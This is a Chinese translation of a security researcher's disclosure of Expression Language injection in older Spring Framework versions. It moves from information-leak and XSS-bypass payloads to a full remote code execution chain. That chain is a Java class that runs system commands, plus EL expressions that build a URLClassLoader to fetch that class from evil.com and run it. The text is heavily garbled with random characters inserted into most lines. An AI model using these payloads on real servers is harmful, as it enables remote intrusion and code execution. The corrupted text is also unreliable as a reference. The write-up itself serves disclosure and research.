Remote Code with$ U$ U' Z2 o5 O- n
Expression Language Injection5 N) ]. |0 h% M9 C
Spring Framework脆弱性—DanAmodio
/ c6 o! E) v& m" ~* o全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中1 c. D( S+ e7 ^- Q/ Z' Z
可能会存在风险。. V, g Z& Y4 M( n7 B# M- d7 o
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的! q5 h' a' b8 }. c5 f3 ~
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
2 n8 m& U( ]/ R7 ^1 c以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
) Z2 c% ~1 v8 j' L6 z* ]4 }* U以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前4 l$ t i2 v4 p
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。2 U" F; I+ R) K# {# u; l I
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但 t9 D$ y# u8 e# ~, @
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
7 Z, c7 ]' W( D本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。% s) @2 t# V+ `9 z# Y. g6 }% L
这些版本不支持禁用double EL resolution.
" a; O7 ~$ C: Y2 Z6 B8 u8 ^2 Q这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含) I0 U9 [ ?- ?& t) L6 h2 f+ y
EL2.2容器上可能进行远程代码执行。# L, U4 O2 c9 |+ p4 ?% s, N
这是一个原始信息泄露的攻击例子:
. B1 m. h4 U5 ~* @请求:
K. k6 a' P+ g1 _! B `ttp://vulnerable.com/foo?message=${applicationScope}9 A9 N% ]& d9 N: I
到达以下内容页面:
& i' y$ D/ d; e4 Q结果将输出一些包含内部服务器信息calsspath 和本地工作目录/ Z3 w* K' H4 r2 p C
你也可以做一些其他事情,如这样:4 O B' C9 r% }0 B# A2 T
${9999+1}, J( ~' H a0 q O' J3 R
还可以访问session 对象和beans8 ~ K+ [& X$ P. z7 E
${employee.lastName}
% N8 t8 z7 U. r( ~, g在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是' `2 M' c0 E2 _: d9 i5 P6 E$ w
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
7 b I4 ^- Q8 A4 U, c0 ]- Z2 b西,比如XSS.9 X( H# S8 ]" x. U/ Y
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签# k2 c: W$ Y7 O) t+ @; O$ J
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
& I$ D1 |2 F7 ?6 \呢?”! P( u$ h9 W1 m# N0 ~( G5 ?
因此,我尝试巳缦拢�
4 @6 A, A! e j- T: u4 |http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
+ v- _. j' q/ d( wP. v$ A2 |0 b H3 S( I5 X
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返9 o( n: z4 A. x) `- l) A1 c @
回的文本被插入进了spring:message 标签。! x& ?2 s; O/ y p
这里是一个最终绕过过滤的实例:
! X H t0 s- y* yhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ' U$ P! ^* B( r9 ~; X
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
5 u9 a3 A J" t7 U2 A f/ _% B4 g8 K什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?0 C' f- [7 N( M9 m/ a/ m2 u3 z
经过一番研究,我学习到EL2.2 增加了方法调用。
S5 z* p- M$ I2 u! k& w我写了一个快速测试应用程序代码并且检测一些功能3 G4 k* N2 F7 D& J0 m
${pageContext.request.getSession().setAttribute(“account”,”123456″)}+ w# _0 }! }7 h6 \3 z) x; D
${pageContext.request.getSession().setAttribute(“admin”,true)}/ q5 E8 Q2 [: z% ?0 i
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
7 L5 r+ U: W' l% P c9 { q$ X指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?; q' C) a4 }3 }, Y8 n( T
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
3 G, G3 |+ Q& _& K1 x, @“, 1234)}0 s7 b3 p" |! p" h- A8 s0 {
${“”.getClass().forName(“java.lang.Runtime”)}1 |" ?' J) g* Z7 i |
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
$ m( M. R$ `1 A6 V- m0 y* O5 H可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函' i6 M1 E4 G9 f) J9 |/ W3 q2 T
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
, \' W8 z- o1 }4 s3 Y一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
/ r6 h" M* R5 B4 I* Q方法签名invoke(Object obj, Object„ args)
; Z9 i$ X* F% g M* kJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问! s( J0 B! C3 z6 Z0 d
题,以让它可以工作起来。6 w7 t1 U9 k# T# @9 \
漏洞利用:4 n2 C# Y9 B7 Y2 V) B3 i, y$ y
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我) R+ M, W0 B. y% f3 t
希望你们中的一些JAVA奇才告诉我我是如此的可笑。6 v, {; \" X# V' p: D- b
这里有一些我试过的失败的用例,为了试图让它工作的用例:
# t( H8 C8 R) R/ v4 l0 H 写文件到文件系统
/ C) N3 `( e- B2 r+ | 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.% K5 q+ o9 D3 J" i% r0 h! J
我认为这些可以很好的工作,但是我不能找到合适的类来载入。" _% Q' E* Z, b& G
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
4 o% Y0 D* N, _0 D2 @javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:# ~8 i9 K. s* P T6 h& H) ^
org.springframework.expression.spel.standard.SpelExpressionParser not found7 L, H+ h9 U: t* X- d
by7 ?1 ~8 g$ I# l/ d% b
org.glassfish.web.javax.servlet.jsp [194].
- q9 v3 I6 C! w! O3 u5 B, o 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
5 e- e2 r6 J0 f; v 利用反射来创建一个新的Runtime(and watch the world burn)% k4 G; w( z) p$ S% m$ x& w
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName* Z( h( M! V9 e. i6 m9 t3 X
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
4 {- p; p# B& s$ `* D${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}$ }8 w, e, Z+ E- G' e# j
使用java.lang.ProcessBuilder; p8 K6 i D# x0 n+ h
用表达式语言来评估表达式语言. v. z6 z# O2 J2 }! p) E. t
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.( j. C+ S. y! ?5 Y
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request6 X& ?) n! B& u) W% @; V* C, q) T
“,”".getClass(),null)}) ]( y: w4 \4 D
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
/ p( W' K4 d$ d- C# [4 R) g我在使用一个空数组通过Method.invoke()时失败了很多次7 H" |# C8 _2 B* \
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
4 U& b# ?" [8 M5 ?/ b1 x.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
/ H Z( N+ T. }5 v$ T& l6 }0 O+ \rrayList”).newInstance().toArray())$ j: j: j% |0 N/ Z& T1 X' L4 B9 Y- z
java.lang.IllegalArgumentException: wrong number of arguments6 ?+ o! u2 K/ N# x1 Q4 p1 `5 H& ], w
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
' ]6 i1 l. V9 H以创建一个恶意class文件并且指向类装载器.. \. l# i$ p9 l
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:/ o- f! n6 g \* V4 P
public class Malicious {& H% Z% o' T z: A$ V
public Malicious() {
& t; Y! i8 n7 _try {6 T5 h( @6 n, v
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac3 Y, [& H6 D& Q+ p
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win' D1 q4 e) j5 w: p$ u# E
} catch (Exception e) {
4 Y$ O. w; \& x& z3 P( @: q7 A}4 G+ X4 U) c! Z, A
}1 L# Y: I9 q- q, T$ f
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回$ E2 l; n7 J* q# A
话中,因此它可以被使用.
* q; r$ b. H8 n${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName$ ~* Y3 z5 V7 b
(“java.util.ArrayList”).newInstance())}- Q" p3 q$ U& E$ a2 \" y
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建& x1 f8 Z6 R) H. m# J5 l% o( d& k: K
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和5 V6 d- r( I% q
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
% P- s' `% L5 P# ^9 x. D我们可以调用的create(string)方法,然后转换对一个URL对象。
9 ` e. |1 _( S' P+ C5 s${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh }2 m& @% R8 h. o/ f
ere/malicious/classfile/is/located/”).toURL())}
9 A) {5 D+ k' Y/ D1 e然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,+ ~0 ~8 T" B* |" [0 ?7 l' ?
恶意类文件被装载并创建,触发远程代码." ~! C) N$ p! n( i
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
5 ^2 ~( P; a3 j3 y/ l: Dxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().1 K! g1 x. i! [) z( r
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
2 a9 a x4 F% \" |( |6 n+ ?()} |